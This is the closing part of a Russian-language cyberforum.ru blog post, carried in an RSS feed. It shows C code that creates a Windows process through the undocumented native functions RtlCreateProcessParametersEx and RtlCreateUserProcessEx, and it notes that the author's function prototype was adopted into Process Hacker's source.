&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 NtImagePathName<span class="sy0">,</span>
&nbsp; &nbsp; RTL_USER_PROCESS_PARAMETERS<span class="sy0">*</span> __ptr64 ProcessParameters<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> InheritHandles<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">unsigned</span> __int32 Flags<span class="sy0">,</span>
&nbsp; &nbsp; RTL_USER_PROCESS_INFORMATION<span class="sy0">*</span> __ptr64 ProcessInformation
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy0">;</span>
_RtlCreateUserProcessEx RtlCreateUserProcessEx<span class="sy0">;</span>
&nbsp;
RtlCreateProcessParametersEx<span class="br0">&#40;</span><span class="sy0">&amp;</span>proc<span class="sy0">,</span> <span class="sy0">&amp;</span>str<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x1</span><span class="br0">&#41;</span><span class="sy0">;</span>
RtlCreateUserProcessEx<span class="br0">&#40;</span><span class="sy0">&amp;</span>str<span class="sy0">,</span> proc<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="sy0">&amp;</span>info<span class="br0">&#41;</span><span class="sy0">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Всё, в структуре RTL_USER_PROCESS_INFORMATION будут лежать хендлы процесса и потока.<br />
Что интересно, RtlCreateUserProcessEx уже сама вызывает RtlNormalizeProcessParams и параметры нормализуются автоматически при создании процесса<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5171&amp;d=1548746712" rel="Lightbox" id="attachment5171" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5171&amp;thumb=1&amp;d=1548746712" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 846
Размер:	17.8 Кб
ID:	5171" style="margin: 5px" /></a><br />
<br />
<br />
<br />
<b>Добавлено</b><br />
после общения с автором форка ProcessHacker, <b>dmex</b> добавил мой прототип функции RtlCreateUserProcessEx в исходный код<br />
<a rel="nofollow noopener noreferrer" href="https://github.com/processhacker/processhacker/commit/0be7abed9ebe43dc1ea33dd0e489ca9eba735080" target="_blank" title="https://github.com/processhacker/processhacker/commit/0be7abed9ebe43dc1ea33dd0e489ca9eba735080">https://github.com/processhack... 9eba735080</a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/5644.html</guid>
		</item>
	</channel>
</rss>
